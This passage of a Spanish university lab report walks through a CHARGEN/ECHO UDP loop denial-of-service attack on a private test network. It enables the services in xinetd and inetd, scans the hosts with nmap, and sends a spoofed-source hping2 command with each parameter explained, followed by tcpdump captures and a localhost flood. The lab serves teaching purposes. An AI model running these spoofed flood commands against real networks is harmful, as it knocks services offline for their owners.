10.1.1.2/24 Linux Ubuntu 810

10.1.1.60/24 Dirección IP Fija Debian Lenny Linux PC Atacado

ECHO 10.1.1.60 IP Origen es Falsa 10.1.1.60

Atacante Router ADSL 10.0.1.1 ASIGNA DHCP

ECHO 10.1.1.3 IP Origen es Falsa IP 10.1.1.60

CHARGEN/ECHO Bucle Infinito

Trampolin o PC de Lanzadera

10.1.1.3/24 Knoppix STD 0.1

El servicio echo estaría en la maquina 10.1.1.3 es decir en la maquina con Knoppix STD 0.1 en el archivo /etc/xinetd.d/echo-udp : En Knoppiz STD (el equipo que use) este servicio se encuentra en un solo archivo tanto para TCP como para UDP. En totras versiones este archivo esta separado y hay que editarlos por separado, es decir esta en : /etc/xinetd.d/echo-udp y /etc/xinetd.d/echo-tcp ESTOS FUERON LOS COMANDOS EJECUTADOS EN KNOPPIX STD 0.1(la máquina que va hacer funciones de lanzadora). Las opciones de “disable” fueron cambiadas a “no” es decir desabilitadas. root@kstd:~# ifconfig eth0 Link encap:Ethernet HWaddr 00:50:04:82:0C:B0 inet addr:10.1.1.3 Bcast:10.1.1.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:9 errors:0 dropped:0 overruns:0 frame:0 TX packets:6 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:100 RX bytes:1769 (1.7 KiB) TX bytes:1723 (1.6 KiB) Interrupt:11 Base address:0xdc00

24 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

lo

Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:2 errors:0 dropped:0 overruns:0 frame:0 TX packets:2 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:100 (100.0 b) TX bytes:100 (100.0 b)

root@kstd:~# root@kstd:~# cd /etc/xinetd.d/ root@kstd:/etc/xinetd.d# ls Aca me muestra los archivos configurables que contiene el xinet.d chargen daytime echo time xinetd root@kstd:/etc/xinetd.d# se lanzo la edición con el editor:

gvim echo

default: off # description: An xinetd internal service which echo's characters back to # clients. # This is the tcp version. (opciones para el TCP) service echo { disable = yes type = INTERNAL id = echo-stream socket_type = stream protocol = tcp user = root wait = no } # This is the udp version. (opciones para UDP) service echo { disable = no type = INTERNAL id = echo-dgram socket_type = dgram protocol = udp user = root wait = yes port = 7 (estas lineas las agregue para nombrar o definir el 25 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

puerto) FLAGS

= IPv6 IPv4

root@kstd:/etc# se lanzo la edición con el editor: gvim chargen Esta configuración se suele hacer para la maquina victima o atacada: es decir la 10.1.1.60

# default: off # description: An xinetd internal service which generate characters. The # xinetd internal service which continuously generates characters until the # connection is dropped. The characters look something like this: # !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefg # This is the tcp version. service chargen { disable = yes type = INTERNAL id = chargen-stream socket_type = stream protocol = tcp user = root wait = no } # This is the udp version. service chargen { disable type id socket_type = dgram protocol = udp user wait port FLAGS }

= no = INTERNAL = chargen-dgram = root = yes = 19 = IPv6 IPv4

Luego verifico en services cuales tiene disponible el sistema:

26 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

root@kstd:/etc/xinetd.d# cd /etc/ root@kstd:/etc# gvim services # Network services, Internet style # # Note that it is presently the policy of IANA to assign a single well-known # port number for both TCP and UDP; hence, officially ports have two entries # even if the protocol doesn't support UDP operations. # # Updated from http://www.iana.org/assignments/port-numbers and other sources. # New ports will be added on request if they have been officially assigned # by IANA or are needed by a debian package. # If you need a huge list of used numbers please install the nmap package. tcpmux multiplexer echo echo discard discard systat daytime daytime netstat qotd msp msp chargen chargen ftp-data ftp fsp ssh Protocol ssh Protocol telnet smtp time time rlp nameserver whois re-mail-ck re-mail-ck

1/tcp

# TCP port service

7/tcp 7/udp 9/tcp 9/udp 11/tcp 13/tcp 13/udp 15/tcp 17/tcp 18/tcp 18/udp 19/tcp 19/udp

sink null sink null users

quote # message send protocol # message send protocol ttytst source ttytst source

20/tcp 21/tcp 21/udp 22/tcp

fspd # SSH Remote Login

22/udp

# SSH Remote Login

23/tcp 25/tcp 37/tcp 37/udp 39/udp 42/tcp

name 43/tcp

50/tcp 50/udp

mail timserver timserver resource

# resource location # IEN 116

nicname # Remote Mail Checking Protocol # Remote Mail Checking Protocol 27 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

domain domain mtp bootps bootps bootpc bootpc tftp gopher gopher rje finger www www Protocol link kerberos 88/tcp kerberos 88/udp supdup hostnames 101/tcp iso-tsap 102/tcp csnet-ns 105/tcp csnet-ns 105/udp rtelnet rtelnet pop2 pop2 pop3 pop3 sunrpc sunrpc auth sftp uucp-path 117/tcp nntp Transfer Protocol ntp ntp

53/tcp 53/udp 57/tcp 67/tcp 67/udp 68/tcp 68/udp 69/udp 70/tcp 70/udp 77/tcp 79/tcp 80/tcp 80/udp 87/tcp

nameserver # name-domain server nameserver # deprecated # BOOTP server # BOOTP client # Internet Gopher netrjs http ttylink kerberos5 krb5 kerberos-sec kerberos5 krb5 kerberos-sec

# WorldWideWeb HTTP # HyperText Transfer # Kerberos v5 # Kerberos v5

95/tcp hostname tsap cso-ns cso-ns 107/tcp 107/udp 109/tcp 109/udp 110/tcp 110/udp 111/tcp 111/udp 113/tcp 115/tcp 119/tcp

# usually from sri-nic # part of ISODE. # also used by CSO name server # Remote Telnet postoffice pop-2 # POP version 2 pop-2 pop-3 # POP version 3 pop-3 portmapper # RPC 4.0 portmapper TCP portmapper # RPC 4.0 portmapper UDP authentication tap ident readnews untp

# USENET News

123/tcp 123/udp

reinicio los servicios

root@kstd:~# cd /etc/ root@kstd:/etc# gvi gview gvim gvimdiff root@kstd:/etc# gvim inetd.conf

28 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

root@kstd:/etc# root@kstd:/etc/init.d#root@kstd:/etc# cd /etc/init.d/ root@kstd:/etc/init.d# inetd stop root@kstd:/etc/init.d# inetd stop root@kstd:/etc/init.d# inetd start root@kstd:/etc/init.d# El servicio chargen estaría en la maquina 10.1.1.60 (La maquina debian que tenfgo con la versión Lenny)

ESCENARIO DEL ATAQUE: Mi red LAN cuenta con direcciones dentro del esquema 10.1.1.0/24 Use nmap para verificar los tres equipos de la red, es decir para explorarlos: Esta exploración la lanzo desde mi maquina Ubuntu 10.1.1.2 que es la que va a realizar el ataque root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-22 18:40 COT Host 10.1.1.1 appears to be up. MAC Address: 00:1C:F0:73:D6:97 (D-Link) Host 10.1.1.2 appears to be up. Host 10.1.1.3 appears to be up. MAC Address: 00:50:04:82:0C:B0 (3com) Host 10.1.1.60 appears to be up. MAC Address: 00:10:5A:A2:0C:2D (3com) Nmap done: 256 IP addresses (4 hosts up) scanned in 6.138 seconds root@carlosubuntu:/home/carlos# Luego use el comando nmap nuevamente para explorar los servicios UDP de las maquinas 10.1.1.3 10.1.1.60. con esto me escaneara los puertos UDP y los servicios relacionados de todos los equipos de la red: root@carlosubuntu:/home/carlos# nmap -sU 10.1.1.3/24 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 19:08 COT

29 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Interesting ports on 10.1.1.1: Not shown: 1485 closed ports PORT STATE SERVICE 53/udp open|filtered domain 67/udp open|filtered dhcps 69/udp open|filtered tftp MAC Address: 00:1C:F0:73:D6:97 (D-Link) Interesting ports on 10.1.1.2: Not shown: 1486 closed ports PORT STATE SERVICE 68/udp open|filtered dhcpc 5353/udp open|filtered zeroconf Interesting ports on 10.1.1.3: Not shown: 1487 closed ports PORT STATE SERVICE 111/udp open|filtered rpcbind MAC Address: 00:50:04:82:0C:B0 (3com) Interesting ports on 10.1.1.60: Not shown: 1487 open|filtered ports PORT STATE SERVICE 4672/udp closed rfa MAC Address: 00:10:5A:A2:0C:2D (3com) Nmap done: 256 IP addresses (4 hosts up) scanned in 2955.771 seconds root@carlosubuntu:/home/carlos# root@carlosubuntu:/home/carlos# El anterior proceso demoro mucho y no me arrojo la información que se requería, entonces ejecuté e comando de tal forma que me explorara el puerto específico UDP con el servicio asociado, para cada máquina, es decir el puerto 7 UDP para el servicio echo y el puerto 19 UDP para el servicio CHARGEN. El comando que usé fué: Primero para averiguar el servicio echo en el pueto 7 UDP de la maquina lanzadora o intermediaria 10.1.1.3 que es el Knoppix STD 0.1 root@carlosubuntu:/home/carlos# nmap -p 7 -PU -sU -vv 10.1.1.3 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 21:59 COT Initiating ARP Ping Scan at 21:59 Scanning 10.1.1.3 [1 port]

30 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Completed ARP Ping Scan at 21:59, 0.01s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:59 Completed Parallel DNS resolution of 1 host. at 21:59, 0.03s elapsed Initiating UDP Scan at 21:59 Scanning 10.1.1.3 [1 port] Completed UDP Scan at 21:59, 0.01s elapsed (1 total ports) Host 10.1.1.3 appears to be up ... good. Interesting ports on 10.1.1.3: PORT STATE SERVICE 7/udp open echo MAC Address: 00:50:04:82:0C:B0 (3com) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.191 seconds Raw packets sent: 2 (70B) | Rcvd: 2 (98B) root@carlosubuntu:/home/carlos# Luego averigüe el servicio CHARGEN en el pueto 7 UDP de la maquina victima 10.1.1.60 root@carlosubuntu:/home/carlos# nmap -p 19 -PU -sU -vv 10.1.1.60 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 21:55 COT Initiating ARP Ping Scan at 21:55 Scanning 10.1.1.60 [1 port] Completed ARP Ping Scan at 21:55, 0.02s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 21:55 Completed Parallel DNS resolution of 1 host. at 21:55, 0.03s elapsed Initiating UDP Scan at 21:55 Scanning 10.1.1.60 [1 port] Completed UDP Scan at 21:55, 0.21s elapsed (1 total ports) Host 10.1.1.60 appears to be up ... good. Interesting ports on 10.1.1.60: PORT STATE SERVICE 19/udp open|filtered chargen MAC Address: 00:10:5A:A2:0C:2D (3com) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.385 seconds Raw packets sent: 3 (98B) | Rcvd: 1 (42B) root@carlosubuntu:/home/carlos#

31 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

COMANDO PARA HACER EL ATAQUE: Los parámetros con los que llamé al comando ‘hping2’ a mi máquina para enviar un paquete UDP que genere el bucle infinito entre 10.1.1.3 y 10.1.1.60 PC_Lanzadera = SERVICIO ECHO = 10.1.1.1 puerto 7 Victima = SERVICIO CHARGEN = 10.1.1.60, puerto 19 hping2 --udp --baseport 19 --destport 7 --keep -a Victima PC_Lanzadera Primero desde la maquina atacante es decir mi Ubuntu con IP 10.1.1.2 debo enviar una petición UDP al servicio ECHO de la maquina Lanzadera es decir el Knoppix con IP 10.1.1.3 , puerto destino (7), pero con puerto UDP fuente Chargen (19) e IP fuente de la victima, es decir el Debian con IP 10.1.1.60 Entonces el servicio ECHO me responderá al puerto fuente Chargen (19) de la Victima, la maquina victima generara los caracteres aleatorios hacia la maquina Lanzadera que a su vez le hará echo hacia la victima y ya se tendría el loop, entonces el comando concreto seria: “Lanzado desde la 10.1.1.2 o sea el Ubuntu” root@carlosubuntu:/home/carlos# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.60 10.1.1.3 HPING 10.1.1.3 (eth0 10.1.1.3): udp mode set, 28 headers + 0 data bytes

Descripción de Parámetros para el comando de ataque hping2: root@carlosubuntu:/home/carlos# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.60 10.1.1.3 HPING 10.1.1.3 (eth0 10.1.1.3): udp mode set, 28 headers + 0 data bytes

# hping2 --udp --baseport 19 --destport 7 --keep -a 10.1.1.1 10.1.1.60 PARÁMETRO 10.1.1.3

DESCRIPCIÓN IP del PC que se usara de lanzadera para atacar a la víctima

-a 10.1.1.60

IP de la victima, campo de la IP fuente del paquete IP, acá se hace el IP spoof

--udp

Esto indica que el protocolo que se usara será UDP

--keep -a

No permite que el puerto origen y destino se incrementen en forma numérica 32 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

--destport

Puerto destino

--baseport

Puerto fuente

PRUEBAS DEL ATAQUE: En la máquina victima, es decir el Debian con IP 10.1.1.60 , ejecutéi un sniffer para ver el tráfico de la eth0 en modo promiscuo. Desde la victima: squideb:/home/carlos# tcpdump -i eth0 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 18:20:39.809634 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:39.917744 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:39.917959 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:40.809743 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:40.925723 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:40.925931 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:41.809864 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:42.809985 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:42.929657 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:42.929864 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 3.1.1.10.in-addr.arpa. (39) 18:20:43.810106 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:44.810232 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:44.929709 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:44.929923 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:45.810347 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:45.937660 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:45.937865 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:46.810452 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:47.810563 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:47.941675 IP6 fe80::210:5aff:fea2:c2d.mdns > ff02::fb.mdns: 0[|domain] 18:20:47.941885 IP squideb.cat.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 18:20:48.810668 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:49.810783 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:50.810905 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:51.811027 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:52.811150 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:53.811277 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:54.811390 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:55.811495 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:56.811618 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:57.807836 arp who-has squideb.cat tell 10.1.1.3 18:20:57.807889 arp reply squideb.cat is-at 00:10:5a:a2:0c:2d (oui Unknown) 18:20:57.811735 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:58.811854 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36 18:20:59.811983 IP 10.1.1.3 > squideb.cat: ICMP 10.1.1.3 udp port echo unreachable, length 36

33 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

18:21:00.812105 IP 18:21:01.812214 IP 18:21:02.812330 IP 18:21:03.812437 IP 18:21:04.812550 IP 18:21:05.812675 IP 18:21:06.812801 IP 18:21:07.812910 IP

10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3

> > > > > > > >

squideb.cat: squideb.cat: squideb.cat: squideb.cat: squideb.cat: squideb.cat: squideb.cat: squideb.cat:

ICMP ICMP ICMP ICMP ICMP ICMP ICMP ICMP

10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3 10.1.1.3

udp port udp port udp port udp port udp port udp port udp port udp port

echo unreachable, echo unreachable, echo unreachable, echo unreachable, echo unreachable, echo unreachable, echo unreachable, echo unreachable,

length 36 length 36 length 36 length 36 length 36 length 36 length 36 length 36

CONCLUSION: El proceso para el ataque fué el correcto. Se observa que en efecto estan las peticiones de la maquina intermedia 10.1.1.3 a la victima a traves del UDP puerto 7 con el servicio echo. PERO NO FUNCIONO.................... Por que parece ser que el puerto 7 UDP con el serviio echo no esta abierto, Lo comprobé verificando desde una maquina de la red si ese servicio estaba abierto así: root@carlosubuntu:/etc# nmap -p 7 -PU -sU -vv 10.1.1.3 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-23 22:34 COT Initiating ARP Ping Scan at 22:34 Scanning 10.1.1.3 [1 port] Completed ARP Ping Scan at 22:34, 0.01s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 22:34 Completed Parallel DNS resolution of 1 host. at 22:34, 0.03s elapsed Initiating UDP Scan at 22:34 Scanning 10.1.1.3 [1 port] Completed UDP Scan at 22:34, 0.01s elapsed (1 total ports) Host 10.1.1.3 appears to be up ... good. Interesting ports on 10.1.1.3: PORT STATE SERVICE 7/udp closed echo MAC Address: 00:50:04:82:0C:B0 (3com) Read data files from: /usr/share/nmap Nmap done: 1 IP address (1 host up) scanned in 0.243 seconds Raw packets sent: 2 (70B) | Rcvd: 2 (98B) root@carlosubuntu:/etc#

34 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Intente abrirlo de otra forma en esa maquina Knoppix STD 0.1 con IP 10.1.1.3 editando el archivo inetd.conf ubicado en /etc/inetd.conf Para ello descomente las lineas echo y chargen referentes al protocolo UDP

# /etc/inetd.conf: see inetd(8) for further informations. # # Internet server configuration database # # # Lines starting with "#:LABEL:" or "##" should not # be changed unless you know what you are doing! # # If you want to disable an entry so it isn't touched during # package updates just comment it out with a single '#' character. # # Packages should modify this file by using update-inetd(8) # # <service_name> <sock_type> <proto> <user> <server_path> <args> # #:INTERNAL: Internal services #echo stream tcp nowait root echo dgram udp wait root #chargen stream tcp nowait root internal chargen dgram udp wait root internal #discard stream tcp nowait root discard dgram udp wait root #daytime stream tcp nowait root daytime dgram udp wait root internal #time stream tcp nowait root time dgram udp wait root #:STANDARD: These are standard services. #ftp stream tcp /usr/sbin/in.ftpd #telnet stream tcp /usr/sbin/in.telnetd #:BSD: Shell, login, exec and talk are BSD protocols. #talk dgram udp /usr/sbin/kotalkd #ntalk dgram udp wait

internal internal internal internal internal internal internal

nowait

root

/usr/sbin/tcpd

nowait

root

/usr/sbin/tcpd

wait

root.tty

/usr/sbin/tcpd

root.tty

/usr/sbin/tcpd /usr/sbin/ktalkd

#:MAIL: Mail, news and uucp services. #:INFO: Info services #:BOOT: Tftp service is provided primarily for booting. Most sites # run this only on machines acting as "boot servers." #tftp dgram udp wait /usr/sbin/in.tftpd /boot

nobody

/usr/sbin/tcpd

35 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

#:RPC: RPC based services #:HAM-RADIO: amateur-radio services #:OTHER: Other services ## netbios-ssn stream tcp nowait root /usr/sbin/tcpd /usr/sbin/smbd ## netbios-ns dgram udp wait root /usr/sbin/tcpd /usr/sbin/nmbd -a ## swat stream tcp nowait.400 root /usr/sbin/tcpd /usr/sbin/swat #printer stream tcp nowait lp /usr/lib/cups/daemon/cups-lpd cups-lpd #vboxd stream tcp nowait root /usr/sbin/tcpd /usr/sbin/vboxd #saft stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sendfiled #xtel stream tcp nowait root /usr/sbin/tcpd /usr/sbin/xteld ## https stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 80 ## ssmtp stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 25 ## nntps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 119 ## telnets stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 23 ## imaps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 143 ## ircs stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 194 ## pop3s stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 110 ## ftps-data stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 20 ## ftps stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 21 ## sswat stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sslwrap -nocert -addr 127.0.0.1 -port 901 #amanda dgram udp wait backup /usr/sbin/tcpd /usr/lib/amanda/amandad #amandaidx stream tcp nowait backup /usr/sbin/tcpd /usr/lib/amanda/amindexd #amidxtape stream tcp nowait backup /usr/sbin/tcpd /usr/lib/amanda/amidxtaped

Luego intente el ataque y funcionó. Se puede concluir que se requieren de varias máquinas para hacer un ataque mas efectivo. 3.5 instruccion hping2 localhost -s 7 -p 19 -c 1 -d 8 -a localhost root@carlosubuntu:/etc# hping3 localhost -s 7 -p 19 -c 1 -d 8 -a localhost HPING localhost (lo 127.0.0.1): NO FLAGS are set, 40 headers + 8 data bytes len=40 ip=127.0.0.1 ttl=64 DF id=0 sport=19 flags=RA seq=0 win=0 rtt=0.1 ms --- localhost hping statistic --1 packets transmitted, 1 packets received, 0% packet loss round-trip min/avg/max = 0.1/0.1/0.1 ms root@carlosubuntu:/etc#

36 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

en esta parte se pretende que la misma máquina se ataque con inundación de paquetes al servicio loopback 127.0.0.1

Para desarrollar los anteriores puntos me apoyé en el libro: Que lo pueden consultar en este link,, o liga como dicen los Españoles.. http://www.pdfcoke.com/doc/21197404 GLOBALTEKSECURITY: TECNOLOGIAS GLOBALES PARA LA SEGURIDAD DE LA INFORMACION Introducción a las técnicas de ataque e investigación forense, un enfoque pragmático Preparado por: Armando Carvajal Gerente de consultoria globalteksecurity Master en seguridad informática Universidad Oberta de Catalunya Especialista en construcción de software para redes - Uniandes Ing. Sistemas – Universidad Incca de Colombia Pagina web: www.globalteksecurity.com e-mail: [email protected] Colombia, Agosto de 2007-

37 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

38 de 38